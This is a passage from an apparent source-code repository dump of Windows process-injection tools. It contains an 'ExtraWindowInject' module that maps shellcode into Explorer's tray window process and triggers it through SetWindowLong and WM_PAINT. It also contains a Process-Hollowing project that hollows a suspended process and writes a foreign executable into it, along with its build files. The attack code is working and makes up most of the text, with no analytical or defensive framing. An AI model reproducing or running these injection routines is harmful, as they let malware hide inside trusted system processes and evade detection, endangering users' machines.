*pe_buffer);\nIMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);\n" }, { "path": "Inject/ExtraWindowInject/src/sysutil.cpp", "content": "#pragma once\n#include \"sysutil.h\"\n\n#include \n#include \n\n#include \"pe_hdrs_helper.h\"\n\ntypedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\n\nbool is_compiled_32b()\n{\n if (sizeof(LPVOID) == sizeof(DWORD)) {\n return true;\n }\n return false;\n}\n\nbool is_wow64()\n{\n LPFN_ISWOW64PROCESS fnIsWow64Process;\n BOOL bIsWow64 = false;\n\n //IsWow64Process is not available on all supported versions of Windows.\n //Use GetModuleHandle to get a handle to the DLL that contains the function\n //and GetProcAddress to get a pointer to the function if available.\n\n fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA(\"kernel32\"), \"IsWow64Process\");\n if (fnIsWow64Process == NULL) {\n return false;\n }\n if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {\n return false;\n\t}\n if (bIsWow64 == TRUE) {\n return true; //64 bit\n }\n\treturn false; //32 bit\n}\n\nbool is_system32b()\n{\n //is the current application 32 bit?\n if (!is_compiled_32b()) {\n return false;\n }\n\t//check if it is running under WoW\n if (is_wow64()) {\n return false;\n }\n return true;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/sysutil.h", "content": "#pragma once\n#include \n\n#define PAGE_SIZE 0x1000\n\nbool is_compiled_32b();\nbool is_wow64();\nbool is_system32b();\nbool is_target_32bit(HANDLE hProcess, LPVOID ImageBase);\n" }, { "path": "Inject/ExtraWindowInject/src/target_util.h", "content": "#pragma once\n#include \n\nvoid replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal)\n{\n wchar_t * pwc;\n printf(\"--\\n\");\n pwc = wcsstr (cmdBuf, L\"%1\");\n if (pwc == NULL) return; //param not found\n\n SIZE_T paramLen = wcslen(paramVal);\n SIZE_T offset = pwc - cmdBuf;\n if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer\n\n wcsncpy (pwc, paramVal, paramLen);\n \n cmdBuf[offset + paramLen + 1] = NULL;\n if (offset == 0) return;\n\n if (cmdBuf[offset-1] == '\\\"' || cmdBuf[offset-1] == '\\'') {\n cmdBuf[offset + paramLen] = cmdBuf[0];\n cmdBuf[offset + paramLen + 1] = NULL;\n }\n}\n\nvoid remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen)\n{\n wchar_t * pwc;\n printf(\"--\\n\");\n\n WCHAR extension[] = L\".exe\";\n SIZE_T extensionLen = wcslen(extension);\n pwc = wcsstr (cmdLine, extension);\n if (pwc == NULL) return;\n\n SIZE_T offset = pwc - cmdLine;\n cmdLine[offset + extensionLen] = NULL;\n if (cmdLine[0] == '\\\"' || cmdLine[0] == '\\'') {\n cmdLine[offset + extensionLen] = cmdLine[0];\n cmdLine[offset + extensionLen + 1] = NULL;\n }\n}\n\nbool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH)\n{\n wchar_t * pwc;\n pwc = wcsrchr (cmdLine, L'\\\\');\n if (pwc == NULL) {\n pwc = wcsrchr (cmdLine, L'/');\n }\n if (pwc == NULL) return false;\n \n SIZE_T offset = pwc - cmdLine + 1;\n if (offset >= dirBufLen) return false;\n\n if (cmdLine[offset] != '\\\"' && cmdLine[offset] != '\\'') {\n return false;\n }\n if (cmdLine[0] == '\\\"' || cmdLine[0] == '\\'') {\n wcsncpy(dirBuf, cmdLine+1, offset-1);\n dirBuf[offset-1] = NULL;\n } else {\n wcsncpy(dirBuf, cmdLine, offset);\n dirBuf[offset + 1] = NULL;\n }\n printf(\"Dir: %S\\n\", dirBuf);\n return true;\n}\n\nbool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)\n{\n HKEY phkResult;\n DWORD iMaxLen = szOutPath;\n\n LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L\"HTTP\\\\shell\\\\open\\\\command\", 0, 1u, &phkResult);\n if (res != ERROR_SUCCESS) {\n printf(\"[ERROR] Failed with value = %x\\n\", res);\n return false;\n }\n\n res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);\n if (res != ERROR_SUCCESS) {\n printf(\"[ERROR] Failed with value = %x\\n\", res);\n return false;\n }\n replace_param(lpwOutPath, szOutPath, L\"www.google.com\");\n return true;\n}\n\nbool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)\n{\n#if defined(_WIN64)\n ExpandEnvironmentStrings(L\"%SystemRoot%\\\\SysWoW64\\\\calc.exe\", lpwOutPath, szOutPath);\n#else\n ExpandEnvironmentStrings(L\"%SystemRoot%\\\\system32\\\\calc.exe\", lpwOutPath, szOutPath);\n#endif\n printf(\"%S\\n\", lpwOutPath);\n return true;\n}\n\nbool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)\n{\n#if defined(_WIN64)\n ExpandEnvironmentStrings(L\"%SystemRoot%\\\\SysWoW64\\\\svchost.exe\", lpwOutPath, szOutPath);\n#else\n ExpandEnvironmentStrings(L\"%SystemRoot%\\\\system32\\\\svchost.exe\", lpwOutPath, szOutPath);\n#endif\n printf(\"%S\\n\", lpwOutPath);\n return true;\n}\n\nbool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)\n{\n ExpandEnvironmentStrings(L\"%windir%\\\\explorer.exe\", lpwOutPath, szOutPath);\n printf(\"%S\\n\", lpwOutPath );\n return true;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/util.h", "content": "#pragma once\n\nvoid hex_dump(unsigned char *buf, size_t buf_size)\n{\n size_t pad = 8;\n size_t col = 16;\n putchar('\\n');\n for (size_t i = 0; i < buf_size; i++) {\n if (i != 0 && i % pad == 0) putchar('\\t');\n if (i != 0 && i % col == 0) putchar('\\n');\n printf(\"%02X \", buf[i]);\n }\n putchar('\\n');\n}\n" }, { "path": "Inject/ExtraWindowInject/src/window_long_inject.cpp", "content": "#include \"window_long_inject.h\"\n\n#include \n\n//for injection into Shell_TrayWnd\nPVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize)\n{\n HANDLE hSection = NULL;\n OBJECT_ATTRIBUTES hAttributes;\n memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));\n\n LARGE_INTEGER maxSize;\n maxSize.HighPart = 0;\n maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers\n NTSTATUS status = NULL;\n if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] ZwCreateSection failed, status : %x\\n\", status);\n return NULL;\n }\n\n PVOID sectionBaseAddress = NULL;\n ULONG viewSize = 0;\n SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE\n\n // map the section in context of current process:\n if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] NtMapViewOfSection failed, status : %x\\n\", status);\n return NULL;\n }\n printf(\"Section BaseAddress: %p\\n\", sectionBaseAddress);\n\n //map the new section into context of opened process\n PVOID sectionBaseAddress2 = NULL;\n if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)\n {\n printf(\"[ERROR] NtMapViewOfSection failed, status : %x\\n\", status);\n return NULL;\n }\n\n LPVOID shellcode_remote_ptr = sectionBaseAddress2;\n LPVOID shellcode_local_ptr = sectionBaseAddress;\n\n //the same page have double mapping - remote and local, so local modifications are reflected remotely\n memcpy (shellcode_local_ptr, shellcode, shellcodeSize);\n printf(\"Shellcode copied!\\n\");\n\n LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize;\n LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize;\n\n //store the remote addresses\n PVOID buf_va = (BYTE*) handles_remote_ptr;\n LONG hop1 = (LONG) buf_va + sizeof(LONG);\n LONG shellc_va = (LONG) shellcode_remote_ptr;\n\n //fill the pointers\n memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));\n memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));\n\n //unmap from the context of current process\n ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);\n ZwClose(hSection);\n\n printf(\"Section mapped at address: %p\\n\", sectionBaseAddress2);\n return shellcode_remote_ptr;\n}\n\nbool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize)\n{\n HWND hWnd = FindWindow(L\"Shell_TrayWnd\", NULL);\n if (hWnd == NULL) return false;\n\n DWORD pid = 0;\n GetWindowThreadProcessId(hWnd, &pid);\n printf(\"PID:\\t%d\\n\", pid);\n //save the current value, because we will need to recover it:\n LONG winLong = GetWindowLongW(hWnd, 0);\n printf(\"WindowLong:\\t%lx\\n\", winLong);\n\n HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);\n if (hProcess == NULL) {\n return false;\n }\n\n LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize);\n if (remote_shellcode_ptr == NULL) {\n return false;\n }\n LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize;\n \n printf(\"Saving handles to:\\t%p\\n\", remote_handles_ptr);\n\n //set the handle to the injected:\n SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr);\n\n //send signal to execute the injected code\n SendNotifyMessage(hWnd, WM_PAINT, 0, 0);\n\n //procedure will be triggered on every message\n //in order to avoid repetitions, injected code should restore the previous value after the first exection\n //here we are checking if it is done\n size_t max_wait = 5;\n while (GetWindowLong(hWnd, 0) != winLong) {\n //not restored, wait more\n Sleep(100);\n if ((max_wait--) == 0) {\n //don't wait longer, restore by yourself\n SetWindowLong(hWnd, 0, winLong);\n SendNotifyMessage(hWnd, WM_PAINT, 0, 0);\n }\n } \n CloseHandle(hProcess);\n return true;\n}" }, { "path": "Inject/ExtraWindowInject/src/window_long_inject.h", "content": "#pragma once\n\n#include \n#include \"ntddk.h\"\n\nbool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize);\n" }, { "path": "Inject/Process-Hollowing/Readme.txt", "content": "https://github.com/m0n0ph1/Process-Hollowing" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.cpp", "content": "// HelloWorld.cpp : Defines the entry point for the console application.\n//\n\n#include \"stdafx.h\"\n#include \n\n\nint WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)\n{\n\tMessageBoxA(0, \"Hello World\", \"Hello World\", 0);\n\n\treturn 0;\n}\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcproj", "content": "\n\n\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n \n {CBDD0923-D056-4517-9820-EDA9C05F5639}\n HelloWorld\n Win32Proj\n \n \n \n Application\n Unicode\n true\n \n \n Application\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30319.1\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n true\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n false\n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n \n \n \n Disabled\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebug\n Use\n Level3\n EditAndContinue\n \n \n true\n Windows\n MachineX86\n \n \n \n \n MaxSpeed\n true\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n MultiThreaded\n true\n Use\n Level3\n ProgramDatabase\n \n \n true\n Windows\n true\n true\n MachineX86\n \n \n \n \n \n Create\n Create\n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav\n \n \n \n \n Source Files\n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n \n \n \n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/stdafx.cpp", "content": "// stdafx.cpp : source file that includes just the standard includes\n// HelloWorld.pch will be the pre-compiled header\n// stdafx.obj will contain the pre-compiled type information\n\n#include \"stdafx.h\"\n\n// TODO: reference any additional headers you need in STDAFX.H\n// and not in this file\n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/stdafx.h", "content": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequently, but\n// are changed infrequently\n//\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include \n#include \n\n\n\n// TODO: reference additional headers your program requires here\n" }, { "path": "Inject/Process-Hollowing/sourcecode/HelloWorld/targetver.h", "content": "#pragma once\n\n// The following macros define the minimum required platform. The minimum required platform\n// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run \n// your application. The macros work by enabling all features available on platform versions up to and \n// including the version specified.\n\n// Modify the following defines if you have to target a platform prior to the ones specified below.\n// Refer to MSDN for the latest info on corresponding values for different platforms.\n#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.\n#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.\n#endif\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/PE.cpp", "content": "#include \"stdafx.h\"\n#include \"windows.h\"\n#include \"internals.h\"\n#include \"pe.h\"\n\nDWORD FindRemotePEB(HANDLE hProcess)\n{\n HMODULE hNTDLL = LoadLibraryA(\"ntdll\");\n\n if (!hNTDLL)\n return 0;\n\n FARPROC fpNtQueryInformationProcess = GetProcAddress\n (\n hNTDLL,\n \"NtQueryInformationProcess\"\n );\n\n if (!fpNtQueryInformationProcess)\n return 0;\n\n _NtQueryInformationProcess ntQueryInformationProcess = \n (_NtQueryInformationProcess)fpNtQueryInformationProcess;\n\n PROCESS_BASIC_INFORMATION* pBasicInfo = \n new PROCESS_BASIC_INFORMATION();\n\n DWORD dwReturnLength = 0;\n\n ntQueryInformationProcess\n (\n hProcess, \n 0, \n pBasicInfo, \n sizeof(PROCESS_BASIC_INFORMATION), \n &dwReturnLength\n );\n\n return pBasicInfo->PebBaseAddress;\n}\n\nPEB* ReadRemotePEB(HANDLE hProcess)\n{\n DWORD dwPEBAddress = FindRemotePEB(hProcess);\n\n PEB* pPEB = new PEB();\n\n BOOL bSuccess = ReadProcessMemory\n (\n hProcess,\n (LPCVOID)dwPEBAddress,\n pPEB,\n sizeof(PEB),\n 0\n );\n\n if (!bSuccess)\n return 0;\n\n return pPEB;\n}\n\nPLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)\n{\n BYTE* lpBuffer = new BYTE[BUFFER_SIZE];\n\n BOOL bSuccess = ReadProcessMemory\n (\n hProcess,\n lpImageBaseAddress,\n lpBuffer,\n BUFFER_SIZE,\n 0\n );\n\n if (!bSuccess)\n return 0; \n\n PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;\n\n PLOADED_IMAGE pImage = new LOADED_IMAGE();\n\n pImage->FileHeader = \n (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);\n\n pImage->NumberOfSections = \n pImage->FileHeader->FileHeader.NumberOfSections;\n\n pImage->Sections = \n (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew + \n sizeof(IMAGE_NT_HEADERS32));\n\n return pImage;\n}\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/PE.h", "content": "#pragma once\n\n#include \n#include \n#include \n#include \n\n#define BUFFER_SIZE 0x2000\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\n USHORT Flags;\n USHORT Length;\n ULONG TimeStamp;\n UNICODE_STRING DosPath;\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\ntypedef struct _LDR_MODULE {\n LIST_ENTRY InLoadOrderModuleList;\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n PVOID BaseAddress;\n PVOID EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STRING FullDllName;\n UNICODE_STRING BaseDllName;\n ULONG Flags;\n SHORT LoadCount;\n SHORT TlsIndex;\n LIST_ENTRY HashTableEntry;\n ULONG TimeDateStamp;\n} LDR_MODULE, *PLDR_MODULE;\n\ntypedef struct _PEB_LDR_DATA {\n ULONG Length;\n BOOLEAN Initialized;\n PVOID SsHandle;\n LIST_ENTRY InLoadOrderModuleList;\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\n ULONG MaximumLength;\n ULONG Length;\n ULONG Flags;\n ULONG DebugFlags;\n PVOID ConsoleHandle;\n ULONG ConsoleFlags;\n HANDLE StdInputHandle;\n HANDLE StdOutputHandle;\n HANDLE StdErrorHandle;\n UNICODE_STRING CurrentDirectoryPath;\n HANDLE CurrentDirectoryHandle;\n UNICODE_STRING DllPath;\n UNICODE_STRING ImagePathName;\n UNICODE_STRING CommandLine;\n PVOID Environment;\n ULONG StartingPositionLeft;\n ULONG StartingPositionTop;\n ULONG Width;\n ULONG Height;\n ULONG CharWidth;\n ULONG CharHeight;\n ULONG ConsoleTextAttributes;\n ULONG WindowFlags;\n ULONG ShowWindowFlags;\n UNICODE_STRING WindowTitle;\n UNICODE_STRING DesktopName;\n UNICODE_STRING ShellInfo;\n UNICODE_STRING RuntimeData;\n RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\ntypedef struct _PEB_FREE_BLOCK {\n _PEB_FREE_BLOCK *Next;\n ULONG Size;\n} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;\n\ntypedef void (*PPEBLOCKROUTINE)(\n PVOID PebLock\n );\n\ntypedef struct _PEB {\n BOOLEAN InheritedAddressSpace;\n BOOLEAN ReadImageFileExecOptions;\n BOOLEAN BeingDebugged;\n BOOLEAN Spare;\n HANDLE Mutant;\n PVOID ImageBaseAddress;\n PPEB_LDR_DATA LoaderData;\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n PVOID SubSystemData;\n PVOID ProcessHeap;\n PVOID FastPebLock;\n PPEBLOCKROUTINE FastPebLockRoutine;\n PPEBLOCKROUTINE FastPebUnlockRoutine;\n ULONG EnvironmentUpdateCount;\n PVOID* KernelCallbackTable;\n PVOID EventLogSection;\n PVOID EventLog;\n PPEB_FREE_BLOCK FreeList;\n ULONG TlsExpansionCounter;\n PVOID TlsBitmap;\n ULONG TlsBitmapBits[0x2];\n PVOID ReadOnlySharedMemoryBase;\n PVOID ReadOnlySharedMemoryHeap;\n PVOID* ReadOnlyStaticServerData;\n PVOID AnsiCodePageData;\n PVOID OemCodePageData;\n PVOID UnicodeCaseTableData;\n ULONG NumberOfProcessors;\n ULONG NtGlobalFlag;\n BYTE Spare2[0x4];\n LARGE_INTEGER CriticalSectionTimeout;\n ULONG HeapSegmentReserve;\n ULONG HeapSegmentCommit;\n ULONG HeapDeCommitTotalFreeThreshold;\n ULONG HeapDeCommitFreeBlockThreshold;\n ULONG NumberOfHeaps;\n ULONG MaximumNumberOfHeaps;\n PVOID* *ProcessHeaps;\n PVOID GdiSharedHandleTable;\n PVOID ProcessStarterHelper;\n PVOID GdiDCAttributeList;\n PVOID LoaderLock;\n ULONG OSMajorVersion;\n ULONG OSMinorVersion;\n ULONG OSBuildNumber;\n ULONG OSPlatformId;\n ULONG ImageSubSystem;\n ULONG ImageSubSystemMajorVersion;\n ULONG ImageSubSystemMinorVersion;\n ULONG GdiHandleBuffer[0x22];\n ULONG PostProcessInitRoutine;\n ULONG TlsExpansionBitmap;\n BYTE TlsExpansionBitmapBits[0x80];\n ULONG SessionId;\n} PEB, *PPEB;\n\ntypedef struct BASE_RELOCATION_BLOCK {\n DWORD PageAddress;\n DWORD BlockSize;\n} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;\n\ntypedef struct BASE_RELOCATION_ENTRY {\n USHORT Offset : 12;\n USHORT Type : 4;\n} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;\n\n#define CountRelocationEntries(dwBlockSize) \\\n (dwBlockSize - \\\n sizeof(BASE_RELOCATION_BLOCK)) / \\\n sizeof(BASE_RELOCATION_ENTRY)\n\ninline PEB* GetPEB()\n{\n __asm mov eax, dword ptr fs:0x30;\n}\n\ninline PIMAGE_NT_HEADERS32 GetNTHeaders(DWORD dwImageBase)\n{\n return (PIMAGE_NT_HEADERS32)(dwImageBase + \n ((PIMAGE_DOS_HEADER)dwImageBase)->e_lfanew);\n}\n\ninline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase)\n{\n PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;\n PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);\n\n PLOADED_IMAGE pImage = new LOADED_IMAGE();\n\n pImage->FileHeader = \n (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);\n\n pImage->NumberOfSections = \n pImage->FileHeader->FileHeader.NumberOfSections;\n\n pImage->Sections = \n (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew + \n sizeof(IMAGE_NT_HEADERS32));\n\n return pImage;\n}\n\ninline char* GetDLLName(DWORD dwImageBase, \n IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)\n{\n return (char*)(dwImageBase + ImageImportDescriptor.Name);\n}\n\ninline IMAGE_DATA_DIRECTORY GetImportDirectory(PIMAGE_NT_HEADERS32 pFileHeader)\n{\n return pFileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\n}\n\ninline PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptors(PIMAGE_NT_HEADERS32 pFileHeader,\n IMAGE_DATA_DIRECTORY ImportDirectory)\n{\n return (PIMAGE_IMPORT_DESCRIPTOR)(pFileHeader->OptionalHeader.ImageBase + \n ImportDirectory.VirtualAddress);\n}\n\ninline PIMAGE_THUNK_DATA32 GetILT(DWORD dwImageBase, \n IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)\n{\n return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.OriginalFirstThunk);\n}\n\ninline PIMAGE_THUNK_DATA32 GetIAT(DWORD dwImageBase, \n IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)\n{\n return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.FirstThunk);\n}\n\ninline PIMAGE_IMPORT_BY_NAME GetImportByName(DWORD dwImageBase, \n IMAGE_THUNK_DATA32 itdImportLookup)\n{\n return (PIMAGE_IMPORT_BY_NAME)(dwImageBase + itdImportLookup.u1.AddressOfData);\n}\n\n\nextern std::map> gCodeChecksums;\n\nvoid WalkLoadOrderModules(void (*pLdrModuleFunction)(PLDR_MODULE, DWORD, PVOID), PVOID pParameters);\n\nvoid GenerateCodeChecksums(PLDR_MODULE pLdrModule, std::vector* pChecksums);\n\nvoid SetInitialLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams);\n\nvoid ValidateLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams);\n\ntypedef struct _IAT_BACKUP_INFO {\n DWORD BackupLength;\n DWORD*** IATBackup;\n} IAT_BACKUP_INFO, *PIAT_BACKUP_INFO;\n\nDWORD** BackupIAT(DWORD dwImageBase);\n\nvoid RepairIAT(DWORD dwImageBase, DWORD** pIATBackup);\n\nDWORD FindRemotePEB(HANDLE hProcess);\n\nPEB* ReadRemotePEB(HANDLE hProcess);\n\nPLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress);" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.cpp", "content": "// ProcessHollowing.cpp : Defines the entry point for the console application.\n\n#include \"stdafx.h\"\n#include \n#include \"internals.h\"\n#include \"pe.h\"\n\nvoid CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)\n{\n\n printf(\"Creating process\\r\\n\");\n\n LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();\n LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();\n \n CreateProcessA\n (\n 0,\n pDestCmdLine, \n 0, \n 0, \n 0, \n CREATE_SUSPENDED, \n 0, \n 0, \n pStartupInfo, \n pProcessInfo\n );\n\n if (!pProcessInfo->hProcess)\n {\n printf(\"Error creating process\\r\\n\");\n\n return;\n }\n\n PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);\n\n PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);\n\n printf(\"Opening source image\\r\\n\");\n\n HANDLE hFile = CreateFileA\n (\n pSourceFile,\n GENERIC_READ, \n 0, \n 0, \n OPEN_ALWAYS, \n 0, \n 0\n );\n\n if (hFile == INVALID_HANDLE_VALUE)\n {\n printf(\"Error opening %s\\r\\n\", pSourceFile);\n return;\n }\n\n DWORD dwSize = GetFileSize(hFile, 0);\n PBYTE pBuffer = new BYTE[dwSize];\n DWORD dwBytesRead = 0;\n ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);\n\n PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);\n\n PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);\n\n printf(\"Unmapping destination section\\r\\n\");\n\n HMODULE hNTDLL = GetModuleHandleA(\"ntdll\");\n\n FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, \"NtUnmapViewOfSection\");\n\n _NtUnmapViewOfSection NtUnmapViewOfSection =\n (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;\n\n DWORD dwResult = NtUnmapViewOfSection\n (\n pProcessInfo->hProcess, \n pPEB->ImageBaseAddress\n );\n\n if (dwResult)\n {\n printf(\"Error unmapping section\\r\\n\");\n return;\n }\n\n printf(\"Allocating memory\\r\\n\");\n\n PVOID pRemoteImage = VirtualAllocEx\n (\n pProcessInfo->hProcess,\n pPEB->ImageBaseAddress,\n pSourceHeaders->OptionalHeader.SizeOfImage,\n MEM_COMMIT | MEM_RESERVE,\n PAGE_EXECUTE_READWRITE\n );\n\n if (!pRemoteImage)\n {\n printf(\"VirtualAllocEx call failed\\r\\n\");\n return;\n }\n\n DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -\n pSourceHeaders->OptionalHeader.ImageBase;\n\n printf\n (\n \"Source image base: 0x%p\\r\\n\"\n \"Destination image base: 0x%p\\r\\n\",\n pSourceHeaders->OptionalHeader.ImageBase,\n pPEB->ImageBaseAddress\n );\n\n printf(\"Relocation delta: 0x%p\\r\\n\", dwDelta);\n\n pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;\n\n printf(\"Writing headers\\r\\n\");\n\n if (!WriteProcessMemory\n (\n pProcessInfo->hProcess, \n pPEB->ImageBaseAddress, \n pBuffer, \n pSourceHeaders->OptionalHeader.SizeOfHeaders, \n 0\n ))\n {\n printf(\"Error writing process memory\\r\\n\");\n\n return;\n }\n\n for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)\n {\n if (!pSourceImage->Sections[x].PointerToRawData)\n 